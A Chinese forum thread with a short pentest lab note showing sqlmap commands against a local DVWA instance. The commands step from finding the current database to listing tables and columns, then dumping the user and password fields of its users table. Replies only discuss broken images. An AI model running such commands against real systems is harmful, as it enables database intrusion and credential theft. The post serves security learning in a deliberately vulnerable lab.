BoSaike 发表于 2024-1-9 00:03:47

sqlmap 快速体验



- 获取当前数据库

```
sqlmap.py --cookie="security=low; PHPSESSID=9209714ac614f3137b25f92880385a6e" --batch -u "http://192.168.0.110/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --current-db
```


得知数据库名为dvwa

!(image/image-20231205181614677.png)

- 获取当前数据库下的表

```
sqlmap.py --cookie="security=low; PHPSESSID=9209714ac614f3137b25f92880385a6e" --batch -u "http://192.168.0.110/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --D dvwa --tables
```

!(image/image-20231205181636230.png)

- 获取指定表的字段信息

```
python sqlmap.py --cookie="security=low; PHPSESSID=9209714ac614f3137b25f92880385a6e" --batch -u "http://192.168.0.110/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D "dvwa" -T "users" --columns
```

!(image/image-20231205181720063.png)

- dump表中指定字段的数据

```
python sqlmap.py --cookie="security=low; PHPSESSID=9209714ac614f3137b25f92880385a6e" --batch -u "http://192.168.0.110/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users -C "user,password" --dump
```

!(image/image-20231205181823016.png)

BoSaike 发表于 2024-1-9 00:05:04

F:\BaiduSyncdisk\笔记\pentest\工具使用\其他\image\image-20231205181610515.png

BoSaike 发表于 2024-1-9 00:05:36

图片插入不好使

admin 发表于 2024-1-9 00:45:43

这个是插入图片是无法显示吗，好的等我核实一下
页: [1]
查看完整版本: sqlmap 快速体验